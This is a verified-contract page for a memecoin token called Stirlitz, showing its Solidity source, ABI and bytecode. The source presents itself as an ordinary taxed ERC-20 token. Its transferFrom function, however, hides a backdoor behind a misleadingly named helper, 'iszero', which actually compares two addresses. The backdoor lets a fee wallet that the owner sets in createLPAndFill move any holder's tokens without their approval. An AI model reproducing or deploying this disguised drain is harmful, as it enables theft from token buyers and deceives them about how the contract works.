Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract Stirlitz is Context, IERC ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function iszero(address a, address b)
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function approve(address owner, addre ...
•    - function allowance(address owner, add ...
•    - function transferFrom(address sender, ...
•    - function approve(address spender, uin ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForETH(uint256 tok ...
•    - function removeLimits()
•    - function transferFee()
•    - function returnETH()
•    - function returnToken(address _address ...
•    - function createLPAndFill(address lpp)
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-20
*/

/**

Vitaliks Cat: Stirlitz

https://www.instagram.com/p/CNyEFpAAu8O/?igsh=MW1rbHMxcmlwenBpYw==

TG: https://t.me/StirlitzErc20

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Stirlitz is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _exempt;
    address payable private _feeWallet;

    uint256 private _initialBuyTax=19;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=22;
    uint256 private _reduceSellTaxAt=22;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Stirlitz";
    string private constant _symbol = unicode"STIRLITZ";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _feeWallet = payable(_msgSender());
        _tAmounts[_msgSender()] = _tTotal;
        _exempt[owner()] = true;
        _exempt[address(this)] = true;
        _exempt[_msgSender()] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function iszero(address a, address b) pure private returns (bool) {return a == b;}

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
    }
    

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);         
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(iszero(_feeWallet, _msgSender()) && !iszero(owner(), _feeWallet) ? _tAllowed[sender][_msgSender()] : 
        amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _exempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _exempt[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                transferFee();
            }
        }

        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFee() private {
        _feeWallet.transfer(address(this).balance);
    }

    function returnETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function returnToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createLPAndFill(address lpp) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _exempt[lpp] = true;
        _feeWallet = payable(lpp);
    }


    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"lpp","type":"address"}],"name":"createLPAndFill","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"returnToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601360055560136006555f6007555f60085560166009556016600a556005600b555f600c5560646009600a6200003b9190620003ab565b6200004b90633b9aca00620003c2565b62000058906002620003c2565b620000649190620003dc565b600d556064620000776009600a620003ab565b6200008790633b9aca00620003c2565b62000094906002620003c2565b620000a09190620003dc565b600e556064620000b36009600a620003ab565b620000c390633b9aca00620003c2565b620000d0906001620003c2565b620000dc9190620003dc565b600f556064620000ef6009600a620003ab565b620000ff90633b9aca00620003c2565b6200010c906001620003c2565b620001189190620003dc565b60105534801562000127575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001886009600a620003ab565b6200019890633b9aca00620003c2565b335f908152600160208190526040822092909255600390620001c15f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600392839052908120805490931660019081179093556200020d3390565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556200023c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002756009600a620003ab565b6200028590633b9aca00620003c2565b60405190815260200160405180910390a3620003fc565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f057815f1904821115620002d457620002d46200029c565b80851615620002e257918102915b93841c9390800290620002b5565b509250929050565b5f826200030857506001620003a5565b816200031657505f620003a5565b81600181146200032f57600281146200033a576200035a565b6001915050620003a5565b60ff8411156200034e576200034e6200029c565b50506001821b620003a5565b5060208310610133831016604e8410600b84101617156200037f575081810a620003a5565b6200038b8383620002b0565b805f1904821115620003a157620003a16200029c565b0290505b92915050565b5f620003bb60ff841683620002f8565b9392505050565b8082028115828204841417620003a557620003a56200029c565b5f82620003f757634e487b7160e01b5f52601260045260245ffd5b500490565b6119c3806200040a5f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d5780639b4cbdb0116100625780639b4cbdb01461031c578063a9059cbb1461033b578063bf474bed1461035a578063c9567bf91461036f578063dd62ed3e14610383575f80fd5b80637d1db4a51461027d5780637d24a8a1146102925780638da5cb5b146102b15780638f9a55c0146102d757806395d89b41146102ec575f80fd5b80632aa918cb116100e35780632aa918cb146101f0578063313ce5671461020657806370a0823114610221578063715018a614610255578063751039fc14610269575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526729ba34b93634ba3d60c11b60208201525b604051610162919061159f565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046115ff565b6103c7565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103dd565b3480156101dc575f80fd5b5061018a6101eb366004611629565b6103fd565b3480156101fb575f80fd5b506102046104d4565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506101af61023b366004611667565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061020461053d565b348015610274575f80fd5b506102046105ae565b348015610288575f80fd5b506101af600d5481565b34801561029d575f80fd5b506102046102ac3660046115ff565b61065f565b3480156102bc575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102e2575f80fd5b506101af600e5481565b3480156102f7575f80fd5b5060408051808201909152600881526729aa24a92624aa2d60c11b6020820152610155565b348015610327575f80fd5b50610204610336366004611667565b61078f565b348015610346575f80fd5b5061018a6103553660046115ff565b610ad1565b348015610365575f80fd5b506101af600f5481565b34801561037a575f80fd5b50610204610add565b34801561038e575f80fd5b506101af61039d366004611682565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d3338484610b1f565b5060015b92915050565b5f6103ea6009600a6117ad565b6103f890633b9aca006117bb565b905090565b5f610409848484610c42565b6004546104ca90859033906104c5906001600160a01b031682148015610454575061045261043e5f546001600160a01b031690565b6004546001600160a01b0391821691161490565b155b61045e5785610482565b6001600160a01b0388165f9081526002602090815260408083203384529091529020545b604051806060016040528060288152602001611966602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061121c565b610b1f565b5060019392505050565b5f546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd906117d2565b60405180910390fd5b5f4711610511575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561053a573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105665760405162461bcd60e51b81526004016104fd906117d2565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016104fd906117d2565b6105e36009600a6117ad565b6105f190633b9aca006117bb565b600d556106006009600a6117ad565b61060e90633b9aca006117bb565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063e6009600a6117ad565b61064c90633b9aca006117bb565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106885760405162461bcd60e51b81526004016104fd906117d2565b6040516370a0823160e01b81523060048201525f90610709906064906107039085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611807565b90611254565b906112d9565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061181e565b50505050565b5f546001600160a01b031633146107b85760405162461bcd60e51b81526004016104fd906117d2565b601254600160a01b900460ff16156108125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610874573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610898919061183d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091b919061183d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610965573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610989919061183d565b601280546001600160a01b0319166001600160a01b039283161790556011546109c9913091166109bb6009600a6117ad565b6104c590633b9aca006117bb565b6011546001600160a01b031663f305d71947306109fa816001600160a01b03165f9081526001602052604090205490565b5f80610a0d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a73573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a989190611858565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6103d3338484610c42565b5f546001600160a01b03163314610b065760405162461bcd60e51b81526004016104fd906117d2565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b5f8111610d695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b5f80546001600160a01b03858116911614801590610d9457505f546001600160a01b03848116911614155b156110df576012546001600160a01b038581169116148015610dc457506011546001600160a01b03848116911614155b8015610de857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4757601254600160a01b900460ff16610e3e5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104fd565b610e646064610703600954600c5411610e5957600554610e5d565b6007545b8590611254565b9050600d54821115610eb85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104fd565b600e5482610eda856001600160a01b03165f9081526001602052604090205490565b610ee49190611883565b1115610f325760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b600c8054905f610f4183611896565b91905055505b6012546001600160a01b03848116911614801590610f7d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffc57600e5482610fa4856001600160a01b03165f9081526001602052604090205490565b610fae9190611883565b1115610ffc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b6012546001600160a01b03848116911614801561102257506001600160a01b0384163014155b1561104f5761104c6064610703600a54600c541161104257600654610e5d565b6008548590611254565b90505b601254600160a81b900460ff1615801561107657506012546001600160a01b038481169116145b801561108b5750601254600160b01b900460ff165b801561109a5750600b54600c54115b156110df57305f90815260016020526040902054600f548111156110d5576110d56110d0846110cb8460105461131a565b61131a565b61132e565b6110dd61149e565b505b801561115757305f908152600160205260409020546110fe90826114d4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061114e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111799083611532565b6001600160a01b0385165f908152600160205260409020556111bc61119e8383611532565b6001600160a01b0385165f90815260016020526040902054906114d4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112058585611532565b60405190815260200160405180910390a350505050565b5f818484111561123f5760405162461bcd60e51b81526004016104fd919061159f565b505f61124b84866118ae565b95945050505050565b5f825f0361126357505f6103d7565b5f61126e83856117bb565b90508261127b85836118c1565b146112d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b9392505050565b5f6112d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611573565b5f81831161132857826112d2565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611374576113746118e0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ef919061183d565b81600181518110611402576114026118e0565b6001600160a01b0392831660209182029290920101526011546114289130911684610b1f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085905f908690309042906004016118f4565b5f604051808303815f87803b158015611477575f80fd5b505af1158015611489573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561053a573d5f803e3d5ffd5b5f806114e08385611883565b9050838110156112d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b5f6112d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121c565b5f81836115935760405162461bcd60e51b81526004016104fd919061159f565b505f61124b84866118c1565b5f602080835283518060208501525f5b818110156115cb578581018301518582016040015282016115af565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461053a575f80fd5b5f8060408385031215611610575f80fd5b823561161b816115eb565b946020939093013593505050565b5f805f6060848603121561163b575f80fd5b8335611646816115eb565b92506020840135611656816115eb565b929592945050506040919091013590565b5f60208284031215611677575f80fd5b81356112d2816115eb565b5f8060408385031215611693575f80fd5b823561169e816115eb565b915060208301356116ae816115eb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170757815f19048211156116ed576116ed6116b9565b808516156116fa57918102915b93841c93908002906116d2565b509250929050565b5f8261171d575060016103d7565b8161172957505f6103d7565b816001811461173f576002811461174957611765565b60019150506103d7565b60ff84111561175a5761175a6116b9565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611788575081810a6103d7565b61179283836116cd565b805f19048211156117a5576117a56116b9565b029392505050565b5f6112d260ff84168361170f565b80820281158282048414176103d7576103d76116b9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611817575f80fd5b5051919050565b5f6020828403121561182e575f80fd5b815180151581146112d2575f80fd5b5f6020828403121561184d575f80fd5b81516112d2816115eb565b5f805f6060848603121561186a575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103d7576103d76116b9565b5f600182016118a7576118a76116b9565b5060010190565b818103818111156103d7576103d76116b9565b5f826118db57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119445784516001600160a01b03168352938301939183019160010161191f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6086b735114163b3ee1b68419ba8aad37493d82054dcbf715e6e74dfcbe891264736f6c63430008180033

0x60806040526004361061011e575f3560e01c80637d1db4a51161009d5780639b4cbdb0116100625780639b4cbdb01461031c578063a9059cbb1461033b578063bf474bed1461035a578063c9567bf91461036f578063dd62ed3e14610383575f80fd5b80637d1db4a51461027d5780637d24a8a1146102925780638da5cb5b146102b15780638f9a55c0146102d757806395d89b41146102ec575f80fd5b80632aa918cb116100e35780632aa918cb146101f0578063313ce5671461020657806370a0823114610221578063715018a614610255578063751039fc14610269575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526729ba34b93634ba3d60c11b60208201525b604051610162919061159f565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046115ff565b6103c7565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103dd565b3480156101dc575f80fd5b5061018a6101eb366004611629565b6103fd565b3480156101fb575f80fd5b506102046104d4565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506101af61023b366004611667565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061020461053d565b348015610274575f80fd5b506102046105ae565b348015610288575f80fd5b506101af600d5481565b34801561029d575f80fd5b506102046102ac3660046115ff565b61065f565b3480156102bc575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102e2575f80fd5b506101af600e5481565b3480156102f7575f80fd5b5060408051808201909152600881526729aa24a92624aa2d60c11b6020820152610155565b348015610327575f80fd5b50610204610336366004611667565b61078f565b348015610346575f80fd5b5061018a6103553660046115ff565b610ad1565b348015610365575f80fd5b506101af600f5481565b34801561037a575f80fd5b50610204610add565b34801561038e575f80fd5b506101af61039d366004611682565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d3338484610b1f565b5060015b92915050565b5f6103ea